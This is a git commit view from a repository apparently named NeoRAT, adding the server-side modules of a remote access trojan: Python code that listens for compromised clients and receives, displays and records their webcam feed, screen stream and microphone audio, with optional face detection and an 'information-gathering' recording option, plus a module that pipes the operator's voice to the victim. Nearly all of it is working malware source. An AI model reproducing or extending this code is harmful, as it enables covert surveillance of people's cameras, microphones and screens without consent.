summaryrefslogtreecommitdiff
path: root/domestic/modules
diff options
context:
space:
mode:
authorAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
committerAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
commit20dbeb2f38684c65ff0a4b99012c161295708e88 (patch)
treea5b8445f55da2fbbb92443b68e9d7354a290c598 /domestic/modules
NeoRATHEADmain
Diffstat (limited to 'domestic/modules')
-rw-r--r--domestic/modules/audio.py138
-rw-r--r--domestic/modules/cam.py163
-rw-r--r--domestic/modules/socket_handler.py33
-rw-r--r--domestic/modules/stream.py165
-rw-r--r--domestic/modules/talk.py128
5 files changed, 627 insertions, 0 deletions
diff --git a/domestic/modules/audio.py b/domestic/modules/audio.py
new file mode 100644
index 0000000..1fcfafc
--- /dev/null
+++ b/domestic/modules/audio.py
@@ -0,0 +1,138 @@
+import threading
+import pyaudio
+import pickle
+import zlib
+import sys
+
+from domestic.parse.internal_server_error_exception_handling import *
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.utility.status_message import *
+from domestic.modules.socket_handler import *
+from domestic.utility.write_error import *
+from domestic.make.make_wave import *
+from domestic.global_state import *
+
+
+@internal_server_error_exception_handling
+def audio_action(write_stream):
+ try:
+ headersize = state['settings']['headersize']
+ encryption = state['settings']['encryption']
+ encoding = state['settings']['encoding']
+ username = state['session']['username']
+ mode = [True, 0, b'']
+ frames = []
+
+ p = pyaudio.PyAudio()
+ CHUNK = 81920
+ FORMAT = pyaudio.paInt16
+ RATE = 44100
+ CHANNELS = 2
+
+ try:
+ stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK)
+ except:
+ CHANNELS = 1
+ stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK)
+
+ record = state['options']['information-gathering']['record']['audio']
+ client, addr = state['sockets']['modules']['audio'][0].accept()
+ client_obj = (client, username, addr)
+ state['sockets']['modules']['audio'][1].append(client_obj)
+
+ message = pickle.dumps(b' ')
+ message = zlib.compress(message, 1)
+ message = encryption.do_encrypt(message)
+ final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message
+ client.send(final_msg)
+
+ while True:
+ client_msg = client.recv(81920)
+
+ if mode[0]:
+ mode[1] = int(client_msg[:headersize])
+ mode[0] = False
+
+ mode[2] += client_msg
+
+ if len(mode[2])-headersize == mode[1]:
+ frame = encryption.do_decrypt(mode[2][headersize:])
+ frame = zlib.decompress(frame)
+ frame = pickle.loads(frame)
+
+ if write_stream is None:
+ stream.write(frame)
+
+ frames.append(frame)
+
+ real_msg = pickle.dumps(b' ')
+ real_msg = zlib.compress(real_msg, 1)
+ real_msg = encryption.do_encrypt(real_msg)
+ final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+ client.send(final_msg)
+
+ mode = [True, 0, b'']
+ except Exception as err:
+ write_error(err)
+ try:
+ if record:
+ make_wave(['modules', 'modules/audio'], client_obj[1], (CHANNELS, p, FORMAT, RATE, frames))
+
+ stream.stop_stream()
+ stream.close()
+ p.terminate()
+ state['sockets']['modules']['audio'][1].remove(client_obj)
+ except Exception as err:
+ write_error(err)
+ finally:
+ sys.exit(0)
+
+
+@error_exception_handling
+def audio(data):
+ ip = validate_dict_key(data, 'ip')
+ port = validate_dict_key(data, 'port')
+ run = validate_dict_key(data, 'run')
+ quiet = validate_dict_key(data, 'quiet')
+ unbind = validate_dict_key(data, 'unbind')
+ close = validate_dict_key(data, 'close')
+ status = validate_dict_key(data, 'status')
+
+ if run:
+ assert state['session']['active']
+
+ if ip and port:
+ data['ip'], data['port'] = ip, int(port)
+ else:
+ data['ip'], data['port'] = state['sockets']['modules']['audio'][0].getsockname()
+
+ if quiet:
+ del data['quiet']
+
+ del data['run']
+
+ threading.Thread(target=audio_action, args=(quiet,), daemon=True).start()
+ session_message(data)
+ elif ip and port:
+ if state['sockets']['modules']['audio'][0] is None:
+ bind_socket(ip, port, 'audio')
+ else:
+ ip, port = state['sockets']['modules']['audio'][0].getsockname()
+ status_message(f'You are already listening for clients (audio module) on {ip}:{port}', 'danger', {'dots': True})
+ elif unbind:
+ if state['sockets']['modules']['audio'][0]:
+ unbind_socket('audio')
+ else:
+ status_message(f'You\'re not listening for clients (audio module)\nThere is no server socket (audio module) to close', 'warning')
+ elif close:
+ close_client(close, 'audio')
+ elif status:
+ if state['sockets']['modules']['audio'][0]:
+ ip, port = state['sockets']['modules']['audio'][0].getsockname()
+ status_message(f'You are listening for clients (audio module) on {ip}:{port}', 'primary')
+ else:
+ status_message('You are not listening for clients (audio module)', 'warning')
+ else:
+ raise Exception('Error message') \ No newline at end of file
diff --git a/domestic/modules/cam.py b/domestic/modules/cam.py
new file mode 100644
index 0000000..3ce729d
--- /dev/null
+++ b/domestic/modules/cam.py
@@ -0,0 +1,163 @@
+import threading
+import random
+import pickle
+import zlib
+import cv2
+
+from domestic.parse.internal_server_error_exception_handling import *
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.utility.status_message import *
+from domestic.modules.socket_handler import *
+from domestic.utility.write_error import *
+from domestic.global_state import *
+
+
+@internal_server_error_exception_handling
+def cam_action(resolution, recognize, fit):
+ try:
+ headersize = state['settings']['headersize']
+ encryption = state['settings']['encryption']
+ encoding = state['settings']['encoding']
+ username = state['session']['username']
+ mode = [True, 0, b'']
+
+ cam_id = random.randint(0, 100000)
+ record = state['options']['information-gathering']['record']['cam-stream']
+ client, addr = state['sockets']['modules']['cam'][0].accept()
+ client_obj = (client, username, addr)
+ state['sockets']['modules']['cam'][1].append(client_obj)
+
+ if recognize:
+ parent_folder = state['settings']['folders']['parent']
+ child_folder = state['settings']['folders']['child'][2]
+ faceCascade = cv2.CascadeClassifier(f'{state["root"]}/{parent_folder}/{child_folder}/{recognize}')
+
+ if record:
+ directories = ['modules', 'modules/cam-stream']
+ username = state['session']['username']
+ path = f'{state["root"]}/{username}/{directories[-1]}/{get_filename("avi")}'
+ directories_to_make = [username] + [f'{username}/{directory}' for directory in directories]
+ make_directories(directories_to_make)
+
+ fourcc = cv2.VideoWriter_fourcc(*'XVID')
+ out = cv2.VideoWriter(path, fourcc, 5.0, resolution)
+
+ message = pickle.dumps(b' ')
+ message = zlib.compress(message, 1)
+ message = encryption.do_encrypt(message)
+ final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message
+ client.send(final_msg)
+
+ while True:
+ client_msg = client.recv(81920)
+
+ if mode[0]:
+ mode[1] = int(client_msg[:headersize])
+ mode[0] = False
+
+ mode[2] += client_msg
+
+ if len(mode[2])-headersize == mode[1]:
+ frame = encryption.do_decrypt(mode[2][headersize:])
+ frame = zlib.decompress(frame)
+ frame = pickle.loads(frame)
+
+ if recognize:
+ faces = faceCascade.detectMultiScale(frame, scaleFactor=1.1, minNeighbors=5, minSize=(15, 15), flags=cv2.CASCADE_SCALE_IMAGE)
+
+ for (x, y, w, h) in faces:
+ cv2.rectangle(frame, (x, y), (x + w, y + h), (255, 255, 0), 2)
+
+ if fit is None:
+ cv2.namedWindow(f'{username} - Live cam (cam id: {cam_id})', cv2.WINDOW_NORMAL)
+
+ cv2.imshow(f'{username} - Live cam (cam id: {cam_id})', frame)
+
+ if record:
+ out.write(frame)
+
+ if cv2.waitKey(1) == 27:
+ raise Exception('Close stream')
+
+ real_msg = pickle.dumps(b' ')
+ real_msg = zlib.compress(real_msg, 1)
+ real_msg = encryption.do_encrypt(real_msg)
+ final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+ client.send(final_msg)
+
+ mode = [True, 0, b'']
+ except Exception as err:
+ write_error(err)
+ try:
+ state['sockets']['modules']['cam'][1].remove(client_obj)
+
+ if record:
+ out.release()
+ except Exception as err:
+ write_error(err)
+ finally:
+ sys.exit(0)
+
+
+@error_exception_handling
+def cam(data):
+ ip = validate_dict_key(data, 'ip')
+ port = validate_dict_key(data, 'port')
+ unbind = validate_dict_key(data, 'unbind')
+ resolution = validate_dict_key(data, 'resolution')
+ monitor = validate_dict_key(data, 'monitor')
+ close = validate_dict_key(data, 'close')
+ status = validate_dict_key(data, 'status')
+ fps = validate_dict_key(data, 'fps')
+ fit = validate_dict_key(data, 'fit')
+ recognize = validate_dict_key(data, 'recognize')
+
+ if resolution:
+ assert state['session']['active']
+
+ if ip and port:
+ data['ip'], data['port'] = ip, int(port)
+ else:
+ data['ip'], data['port'] = state['sockets']['modules']['cam'][0].getsockname()
+
+ if monitor:
+ data['monitor'] = int(monitor)
+ else:
+ data['monitor'] = 0
+
+ if fps is None:
+ data['fps'] = False
+
+ if fit:
+ del data['fit']
+
+ if recognize:
+ del data['recognize']
+
+ del data['resolution']
+
+ threading.Thread(target=cam_action, args=(tuple([int(x) for x in resolution.split(',')]), recognize, fit), daemon=True).start()
+ session_message(data)
+ elif ip and port:
+ if state['sockets']['modules']['cam'][0] is None:
+ bind_socket(ip, port, 'cam')
+ else:
+ ip, port = state['sockets']['modules']['cam'][0].getsockname()
+ status_message(f'You are already listening for clients (cam module) on {ip}:{port}', 'danger', {'dots': True})
+ elif unbind:
+ if state['sockets']['modules']['cam'][0]:
+ unbind_socket('cam')
+ else:
+ status_message(f'You\'re not listening for clients (cam module)\nThere is no server socket (cam module) to close', 'warning')
+ elif close:
+ close_client(close, 'cam')
+ elif status:
+ if state['sockets']['modules']['cam'][0]:
+ ip, port = state['sockets']['modules']['cam'][0].getsockname()
+ status_message(f'You are listening for clients (cam module) on {ip}:{port}', 'primary')
+ else:
+ status_message('You are not listening for clients (cam module)', 'warning')
+ else:
+ raise Exception('Error message') \ No newline at end of file
diff --git a/domestic/modules/socket_handler.py b/domestic/modules/socket_handler.py
new file mode 100644
index 0000000..7f8c57e
--- /dev/null
+++ b/domestic/modules/socket_handler.py
@@ -0,0 +1,33 @@
+import socket
+
+from domestic.utility.status_message import *
+from domestic.utility.write_error import *
+from domestic.global_state import *
+
+
+def bind_socket(ip, port, module_type, stdout=True):
+ try:
+ state['sockets']['modules'][module_type][0] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ state['sockets']['modules'][module_type][0].bind((ip, int(port)))
+ state['sockets']['modules'][module_type][0].listen()
+ except Exception as err:
+ write_error(err)
+ state['sockets']['modules'][module_type][0] = None
+ raise Exception('Socket binding error')
+ else:
+ if stdout:
+ status_message(f'{module_type.capitalize()} address successfully bound', 'success')
+
+def close_client(index, module_type, write_stdout=True):
+ state['sockets']['modules'][module_type][1][int(index)][0].close()
+
+ if write_stdout:
+ status_message(f'{module_type.capitalize()} client successfully closed', 'success')
+
+def unbind_socket(module_type):
+ for _ in range(len(state['sockets']['modules'][module_type][1])):
+ close_client('0', module_type, False)
+
+ state['sockets']['modules'][module_type][0].close()
+ state['sockets']['modules'][module_type][0] = None
+ status_message(f'{module_type.capitalize()} address successfully closed', 'success') \ No newline at end of file
diff --git a/domestic/modules/stream.py b/domestic/modules/stream.py
new file mode 100644
index 0000000..b1ce97b
--- /dev/null
+++ b/domestic/modules/stream.py
@@ -0,0 +1,165 @@
+import threading
+import random
+import pickle
+import zlib
+import cv2
+
+from domestic.parse.internal_server_error_exception_handling import *
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.utility.status_message import *
+from domestic.modules.socket_handler import *
+from domestic.make.make_directories import *
+from domestic.utility.get_filename import *
+from domestic.utility.write_error import *
+from domestic.global_state import *
+
+
+@internal_server_error_exception_handling
+def stream_action(resolution, recognize, fit):
+ try:
+ headersize = state['settings']['headersize']
+ encryption = state['settings']['encryption']
+ encoding = state['settings']['encoding']
+ username = state['session']['username']
+ mode = [True, 0, b'']
+
+ stream_id = random.randint(0, 100000)
+ record = state['options']['information-gathering']['record']['stream']
+ client, addr = state['sockets']['modules']['stream'][0].accept()
+ client_obj = (client, username, addr)
+ state['sockets']['modules']['stream'][1].append(client_obj)
+
+ if recognize:
+ parent_folder = state['settings']['folders']['parent']
+ child_folder = state['settings']['folders']['child'][2]
+ faceCascade = cv2.CascadeClassifier(f'{state["root"]}/{parent_folder}/{child_folder}/{recognize}')
+
+ if record:
+ directories = ['modules', 'modules/stream']
+ username = state['session']['username']
+ path = f'{state["root"]}/{username}/{directories[-1]}/{get_filename("avi")}'
+ directories_to_make = [username] + [f'{username}/{directory}' for directory in directories]
+ make_directories(directories_to_make)
+
+ fourcc = cv2.VideoWriter_fourcc(*'XVID')
+ out = cv2.VideoWriter(path, fourcc, 5.0, resolution)
+
+ message = pickle.dumps(b' ')
+ message = zlib.compress(message, 1)
+ message = encryption.do_encrypt(message)
+ final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message
+ client.send(final_msg)
+
+ while True:
+ client_msg = client.recv(81920)
+
+ if mode[0]:
+ mode[1] = int(client_msg[:headersize])
+ mode[0] = False
+
+ mode[2] += client_msg
+
+ if len(mode[2])-headersize == mode[1]:
+ frame = encryption.do_decrypt(mode[2][headersize:])
+ frame = zlib.decompress(frame)
+ frame = pickle.loads(frame)
+
+ if recognize:
+ faces = faceCascade.detectMultiScale(frame, scaleFactor=1.1, minNeighbors=5, minSize=(15, 15), flags=cv2.CASCADE_SCALE_IMAGE)
+
+ for (x, y, w, h) in faces:
+ cv2.rectangle(frame, (x, y), (x + w, y + h), (255, 255, 0), 2)
+
+ if fit is None:
+ cv2.namedWindow(f'{username} - Live stream (stream id: {stream_id})', cv2.WINDOW_NORMAL)
+
+ cv2.imshow(f'{username} - Live stream (stream id: {stream_id})', frame)
+
+ if record:
+ out.write(frame)
+
+ if cv2.waitKey(1) == 27:
+ raise Exception('Close stream')
+
+ real_msg = pickle.dumps(b' ')
+ real_msg = zlib.compress(real_msg, 1)
+ real_msg = encryption.do_encrypt(real_msg)
+ final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+ client.send(final_msg)
+
+ mode = [True, 0, b'']
+ except Exception as err:
+ write_error(err)
+ try:
+ state['sockets']['modules']['stream'][1].remove(client_obj)
+
+ if record:
+ out.release()
+ except Exception as err:
+ write_error(err)
+ finally:
+ sys.exit(0)
+
+
+@error_exception_handling
+def stream(data):
+ ip = validate_dict_key(data, 'ip')
+ port = validate_dict_key(data, 'port')
+ unbind = validate_dict_key(data, 'unbind')
+ resolution = validate_dict_key(data, 'resolution')
+ monitor = validate_dict_key(data, 'monitor')
+ close = validate_dict_key(data, 'close')
+ status = validate_dict_key(data, 'status')
+ fps = validate_dict_key(data, 'fps')
+ fit = validate_dict_key(data, 'fit')
+ recognize = validate_dict_key(data, 'recognize')
+
+ if resolution:
+ assert state['session']['active']
+
+ data['resolution'] = tuple([int(x) for x in resolution.split(',')])
+
+ if ip and port:
+ data['ip'], data['port'] = ip, int(port)
+ else:
+ data['ip'], data['port'] = state['sockets']['modules']['stream'][0].getsockname()
+
+ if monitor:
+ data['monitor'] = int(monitor)
+ else:
+ data['monitor'] = 0
+
+ if fps is None:
+ data['fps'] = False
+
+ if fit:
+ del data['fit']
+
+ if recognize:
+ del data['recognize']
+
+ threading.Thread(target=stream_action, args=(data['resolution'], recognize, fit), daemon=True).start()
+ session_message(data)
+ elif ip and port:
+ if state['sockets']['modules']['stream'][0] is None:
+ bind_socket(ip, port, 'stream')
+ else:
+ ip, port = state['sockets']['modules']['stream'][0].getsockname()
+ status_message(f'You are already listening for clients (stream module) on {ip}:{port}', 'danger', {'dots': True})
+ elif unbind:
+ if state['sockets']['modules']['stream'][0]:
+ unbind_socket('stream')
+ else:
+ status_message(f'You\'re not listening for clients (stream module)\nThere is no server socket (stream module) to close', 'warning')
+ elif close:
+ close_client(close, 'stream')
+ elif status:
+ if state['sockets']['modules']['stream'][0]:
+ ip, port = state['sockets']['modules']['stream'][0].getsockname()
+ status_message(f'You are listening for clients (stream module) on {ip}:{port}', 'primary')
+ else:
+ status_message('You are not listening for clients (stream module)', 'warning')
+ else:
+ raise Exception('Error message') \ No newline at end of file
diff --git a/domestic/modules/talk.py b/domestic/modules/talk.py
new file mode 100644
index 0000000..a3ca1d3
--- /dev/null
+++ b/domestic/modules/talk.py
@@ -0,0 +1,128 @@
+import threading
+import pyaudio
+import pickle
+import zlib
+import sys
+
+from domestic.parse.internal_server_error_exception_handling import *
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.utility.status_message import *
+from domestic.modules.socket_handler import *
+from domestic.utility.write_error import *
+from domestic.make.make_wave import *
+from domestic.global_state import *
+
+
+@internal_server_error_exception_handling
+def talk_action():
+ try:
+ headersize = state['settings']['headersize']
+ encryption = state['settings']['encryption']
+ encoding = state['settings']['encoding']
+ username = state['session']['username']
+ mode = [True, 0, b'']
+ frames = []
+
+ p = pyaudio.PyAudio()
+ CHUNK = 81920
+ FORMAT = pyaudio.paInt16
+ RATE = 44100
+ CHANNELS = 2
+
+ try:
+ stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK)
+ except:
+ CHANNELS = 1
+ stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK)
+
+ record = state['options']['information-gathering']['record']['talk']
+ client, addr = state['sockets']['modules']['talk'][0].accept()
+ client_obj = (client, username, addr)
+ state['sockets']['modules']['talk'][1].append(client_obj)
+
+ message = pickle.dumps(stream.read(CHUNK))
+ message = zlib.compress(message, 9)
+ message = encryption.do_encrypt(message)
+ final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message
+ client.send(final_msg)
+
+ while True:
+ client_msg = client.recv(81920)
+
+ if mode[0]:
+ mode[1] = int(client_msg[:headersize])
+ mode[0] = False
+
+ mode[2] += client_msg
+
+ if len(mode[2])-headersize == mode[1]:
+ data = stream.read(CHUNK)
+ frames.append(data)
+
+ real_msg = pickle.dumps(data)
+ real_msg = zlib.compress(real_msg, 9)
+ real_msg = encryption.do_encrypt(real_msg)
+ final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+ client.send(final_msg)
+
+ mode = [True, 0, b'']
+ except Exception as err:
+ write_error(err)
+ try:
+ if record:
+ make_wave(['modules', 'modules/talk'], client_obj[1], (CHANNELS, p, FORMAT, RATE, frames))
+
+ stream.stop_stream()
+ stream.close()
+ p.terminate()
+ state['sockets']['modules']['talk'][1].remove(client_obj)
+ except Exception as err:
+ write_error(err)
+ finally:
+ sys.exit(0)
+
+
+@error_exception_handling
+def talk(data):
+ ip = validate_dict_key(data, 'ip')
+ port = validate_dict_key(data, 'port')
+ run = validate_dict_key(data, 'run')
+ unbind = validate_dict_key(data, 'unbind')
+ close = validate_dict_key(data, 'close')
+ status = validate_dict_key(data, 'status')
+
+ if run:
+ assert state['session']['active']
+
+ if ip and port:
+ data['ip'], data['port'] = ip, int(port)
+ else:
+ data['ip'], data['port'] = state['sockets']['modules']['talk'][0].getsockname()
+
+ del data['run']
+
+ threading.Thread(target=talk_action, daemon=True).start()
+ session_message(data)
+ elif ip and port:
+ if state['sockets']['modules']['talk'][0] is None:
+ bind_socket(ip, port, 'talk')
+ else:
+ ip, port = state['sockets']['modules']['talk'][0].getsockname()
+ status_message(f'You are already listening for clients (talk module) on {ip}:{port}', 'danger', {'dots': True})
+ elif unbind:
+ if state['sockets']['modules']['talk'][0]:
+ unbind_socket('talk')
+ else:
+ status_message(f'You\'re not listening for clients (talk module)\nThere is no server socket (talk module) to close', 'warning')
+ elif close:
+ close_client(close, 'talk')
+ elif status:
+ if state['sockets']['modules']['talk'][0]:
+ ip, port = state['sockets']['modules']['talk'][0].getsockname()
+ status_message(f'You are listening for clients (talk module) on {ip}:{port}', 'primary')
+ else:
+ status_message('You are not listening for clients (talk module)', 'warning')
+ else:
+ raise Exception('Error message') \ No newline at end of file